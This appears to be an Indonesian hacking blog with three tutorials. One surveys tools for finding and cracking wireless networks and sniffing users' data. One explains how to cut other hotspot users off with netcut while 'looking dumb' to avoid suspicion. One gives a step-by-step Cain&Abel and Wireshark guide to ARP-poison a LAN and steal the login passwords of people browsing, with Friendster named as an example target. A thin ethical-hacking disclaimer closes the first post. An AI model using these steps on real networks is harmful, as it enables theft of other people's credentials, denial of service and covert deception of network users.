Software berbasis windows ini sangat mudah mencari sinyal wireless yang dipancarkan dari hotspot ke pengguna. Penulis banyak menjumpai para pengguna wireless memakai software ini untuk mencari lokasi yang tepat untuk mendapat sinyal wireless dari hotspot yang kuat atau mensurvei apakah hotspot di daerahnya cukup bagus atau tidak. • Kismet
Salah satu fungsi yang hilang dari NetStumbler adalah kemampuan untuk menampilkan SSID dari hotspot. pada access point, mereka selalu rutin membroadcast info ini. cuman, info tersebut kebanyakan berisi SSID yang tidak terbaca atau terenkripsi. Program ini akan mencari dan menampilkan SSID yang tidak di broadcast oleh hotspot dan sangat penting untuk mencari jaringan wireless yang akan diuji. Memasuki jaringan wireless yang telah ditemukan Setelah menemukan sebuah jaringan network, langkah selanjutnya adalah mencoba untuk menghubungkan anda ke jaringan tersebut. Jika jaringan tersebut tidak menggunakan sekuriti enkripsi, anda bisa langsung mengakses ke SSID. Jika SSID tidak di broadcast, anda dapat masuk dengan SSID yang sedang tidak di broadcast. Tentu saja, anda dapat dengan mudah menemukan yang tidak di broadcast menggunakan fitur yang ada kismet bukan? Jika jaringan tersebut dienkripsi, anda membutuhkan salah satu dari peralatan dibawah ini. • CowPatty
Software ini menggunakan metode brute force untuk membuka WPA-PSK, yang mana PSK sendiri dianggap sebagai WEP baru unrtuk keamanan sekuriti wireless di rumah.Progam ini mencoba beberapa dari berbagai pilihan yang berasal dari file dictionary apakah ada yang sesuai dengan apa yang digunakan sebagai kunci tersebut • ASLeap
jika ada jaringan yang menggunakan LEAP, alat ini bisa digunakan untuk mencari data semacam username dan password yang sedang online di jaringan, dan mengoverride akses pemiliknya.LEAP tidak memproteksi proses tersebut seperti EAP, yang mana itu menjadi kelemahan utama bagi LEAP. Mengendus atau mencuri Data Wireless Tidak peduli apakah anda terkoneksi langsung ke jaringan wireless atau tidak,, jika ada jaringan wireless di dalam daerah dekat anda, selalu ada data yang lewat di dalam jaringan kapan pun itu. Untuk mengambil data itu, anda perlu peralatan untuk mengambil atau melihat data tersebut. • Wireshark (pendahulu Ethereal)
dimana masih terjadi perdebatan bagaimana cara ynag tercepat dalam menyikapi program ini, tidak ada keraguan lagi bahwa software ini sangat berguna. ia dapat mencari jaringan wireless yang ada lengkap dengan info sekuriti. software ini dapat mecuri data dari 802.11 manajemen hotspot dan bisa juga digunakan sebagai alat untuk mencari hotspot yang tidak memproteksi dirinya dengan SSID. • SwitchSniffer
Software ini adalah program yang bisa mencari user yang aktif di jaringan switch LAN dan dapat mengambil seluruh packet data tanpa persetujuan user yang bersangkutan, software ini juga dapat mendeteksi program arpspoofer sedang berjalan dan membokir sesi pertahanan semacam firewal. jika anda menggabungkan program ini dengan program sniffer yang lain, anda dapat melihat dan mengambil id user dan password dari user lain di dalam jaringan anda. Tindakan anda selanjutnya? Setelah anda mengetahui bagaimana proses hacking, terserah anda mau diapakan data ataupun hotspot yang telah anda temukan dan anda eksploitasi itu. jika anda mau melaporkan ke admin hotspot bahwa ada kelemahan, anda telah menjadi bagian dari Ethical hacker. tapi, jika anda malah makin mengeksploitasi hotspot tersebut, maka anda menjadi Blackcap Hacker. anda mau memilih menjadi apa, itu hak anda. penulis hanya membagi info saja. semoga tutorial ini bermanfaat bagi anda.

hacking adalah hal yang Sistem Komputer paparkan saat ini karena sangat menarik. Banyak hal yang mungkin bisa didapatkan dari tulisan tentang hacking ini.

Read More

Trick mencuri Bandwidth di HOTSPOT ato jaringan LAN

Trick mencuri Bandwidth di HOTSPOT ato jaringan LAN

http://www.indowebster.com/netcut.html
instal and jalanin programnya, trus cari ip target and clik cut off, tp ctt, jangan sampai cut off server dan gateway nya, and tambahan, pasang tampang bloon biar orang g curiga, hehehehehee

hacking adalah hal yang Sistem Komputer paparkan saat ini karena sangat menarik. Banyak hal yang mungkin bisa didapatkan dari tulisan tentang hacking ini.

Read More

Hack dengan LAN

Cara hacking via LAN (untuk curi pass orang2 yang lagi browsing) Pertama-tama sorry kalo repost karena teknik ini bukanlah teknik yang fresh di dunia hacking tapi teknik ini belum basi karena sampai saat ini masih dapat digunakan karena sebagian besar jaringan meggunakan jaringan hub & switch yang tidak terenkripsi.
Mengapa tidak terenkripsi? * Network Admin sebagian besar adalah orang IT yang specialist dalam membuat program, bukan dalam Network Security
* Bila dienkripsi bandwidth yang dibuthkan akan meningkat dan tentu inet yang sudah lemot ini akan semakin lemot dan akhirnya page error
* Harganya tidak murah untuk memperoleh yang terenkripsi Perbedaan antara jaringan Hub dan Switch: * Pada jaringan hub semua data yang mengalir di jaringan dapat dilihat/diambil oleh komputer manapun yang ada di jaringan asalakan komputer tersebut merequest data tersebut, kalo tidak direquest ya tidak akan datang.
* Pada jaringan switch hanya komputer yang melakukan pertukaran data yang dapat melihat data tersebut, komputer2 lain tidak berhak merequest data tersebut. Masalahnya adalah harga dari router hub dan switch tidak berbeda jauh sehingga kebanyakan tempat sekarang sudah menggunakan metode switch yang menyulitkan untuk network hacking. Hacking ini menggunakan teknik: * Sniffing
* ARP Poison Routing Kedua Teknik di atas tidak akan bisa dicegah oleh firewall apapun di komputer korban, dijamin. Important Note: ARP Poison Routing dapat meyebabkan denial of service (dos) pada salah satu / semua komputer pada network anda Kelebihan: * Tidak akan terdeteksi oleh firewall tipe dan seri apapun karena kelemahannya terletak pada sistem jaringan bukan pada komputernya
* Bisa mencuri semua jenis login password yang melalui server HTTP
* Bisa mencuri semua login password orang yang ada di jaringan Hub selama program diaktifkan
* Untuk ARP Poisoning bisa digunakan untuk mencuri password di HTTPS
* Semua programnya free Kekurangan: * Untuk jaringan Switch harus di ARP poisoning 1 persatu dan bandwidth anda akan termakan banyak untuk hal itu (kalo inet super cepat ga masalah)
* Ketahuan / tidak oleh admin jaringan di luar tanggung jawab saya Mulai dari sini anggap bahwa di network dalam kisah ini ada 3 komputer, yaitu: * Komputer Korban
* Komputer Hacker
* Server Perbedaan-perbedaan antara jaringan switch dan jaringan hub:
Langkah-langkah pertama: 1. Cek tipe jaringan anda, anda ada di jaringan switch / hub. Jika anda berada di jaringan hub bersyukurlah karena proses hacking anda akan jauh lebih mudah.
2. Download program-program yang dibutuhkan yaitu Wireshark dan Cain&Abel.
Code: http://www.wireshark.org/download.html
http://www.oxid.it/cain.html Cara Menggunakan WireShark: * Jalankan program wireshark
* Tekan tombol Ctrl+k (klik capture lalu option)
* Pastikan isi pada Interfacenya adalah Ethernet Card anda yang menuju ke jaringan, bila bukan ganti dan pastikan pula bahwa “Capture packets in promiscuous mode” on
* Klik tombol start
* Klik tombol stop setelah anda merasa yakin bahwa ada password yang masuk selama anda menekan tombol start
* Anda bisa melihat semua jenis packet yang masuk dan keluar di jaringan (atau pada komputer anda saja jika network anda menggunakan Swtich
* Untuk menganalisis datanya klik kanan pada data yang ingin di analisis lalu klik “Follow TCP Stream” dan selamat menganalisis paketnya (saya tidak akan menjelaskan caranya karena saya tidak bisa )
* Yang jelas dari data itu pasti di dalamnya terdapat informasi2 yang dimasukkan korban ke website dan sebaliknya Cara di atas hanya berlaku apabila jaringan anda adalah Hub bukan switch
Dari cara di atas anda dapat mengetahui bahwa jaringan anda adalah hub/switch dengan melihat pada kolom IP Source dan IP Destination. Bila pada setiap baris salah satu dari keduanya merupakan ip anda maka dapat dipastikan jaringan anda adalah jaringan switch, bila tidak ya berarti sebaliknya. Cara Menggunakan Cain&Abel: * Penggunaan program ini jauh lebih mudah dan simple daripada menggunakan wireshark, tetapi bila anda menginginkan semua packet yang sudah keluar dan masuk disarankan anda menggunakan program wireshark
* Buka program Cain anda
* Klik pada bagian configure
* Pada bagian “Sniffer” pilih ethernet card yang akan anda gunakan
* Pada bagian “HTTP Fields” anda harus menambahkan username fields dan password fields nya apabila yang anda inginkan tidak ada di daftar.
Sebagai contoh saya akan beritahukan bahwa kalo anda mau hack password Friendster anda harus menambahkan di username fields dan passworsd fields kata name, untuk yang lain anda bisa mencarinya dengan menekan klik kanan view source dan anda harus mencari variabel input dari login dan password website tersebut. Yang sudah ada di defaultnya rasanyan sudah cukup lengkap, anda dapat mencuri pass yang ada di klubmentari tanpa menambah apapun.
* Setelah itu apply settingannya dan klik ok
* Di menu utama terdapat 8 tab, dan yang akan dibahas hanya 1 tab yaitu tab “Sniffer” karena itu pilih lah tab tersebut dan jangan pindah2 dari tab tersebut untuk mencegah kebingungan anda sendiri
* Aktifkan Sniffer dengan cara klik tombol sniffer yang ada di atas tab2 tersebut, carilah tombol yang tulisannya “Start/Stop Sniffer”
* Bila anda ada di jaringan hub saat ini anda sudah bisa mengetahui password yang masuk dengan cara klik tab (Kali ini tab yang ada di bawah bukan yang di tengah, yang ditengah sudah tidak usah diklik-klik lagi) “Passwords”
* Anda tinggal memilih password dari koneksi mana yang ingin anda lihat akan sudah terdaftar di sana
* Bila anda ternyata ada di jaringan switch, ini membutuhkan perjuangan lebih, anda harus mengaktifkan APR yang tombolonya ada di sebelah kanan Sniffer (Dan ini tidak dijamin berhasil karena manage dari switch jauh lebih lengkap&secure dari hub)
* Sebelum diaktifkan pada tab sniffer yang bagian bawah pilih APR
* Akan terlihat 2 buah list yang masih kosong, klik list kosong bagian atas kemudian klik tombol “+” (Bentuknya seperti itu) yang ada di jajaran tombol sniffer APR dll
* Akan ada 2 buah field yang berisi semua host yang ada di jaringan anda
* Hubungkan antara alamat ip korban dan alamat ip gateway server (untuk mengetahui alamat gateway server klik start pada komp anda pilih run ketik cmd lalu ketik ipconfig pada command prompt)
* Setelah itu baru aktifkan APR, dan semua data dari komp korban ke server dapat anda lihat dengan cara yang sama. Anda dapat menjalankan kedua program di atas secara bersamaan (Cain untuk APR dan wireshark untuk packet sniffing) bila ingin hasil yang lebih maksimal. Password yang bisa anda curi adalah password yang ada di server HTTP (server yang tidak terenkripsi), bila data tersebut ada di server yang terenkripsi maka anda harus mendekripsi data tersebut sebelum memperoleh passwordnya (dan itu akan membutuhkan langkah2 yang jauh lebih panjang dari cara hack ini) Untuk istilah-istilah yang tidak ngerti bisa dicari di wikipedia (tapi yang inggris ya kalo yang indo jg belum tentu ada).

hacking adalah hal yang Sistem Komputer paparkan saat ini karena sangat menarik. Banyak hal yang mungkin bisa didapatkan dari tulisan tentang hacking ini.

Read More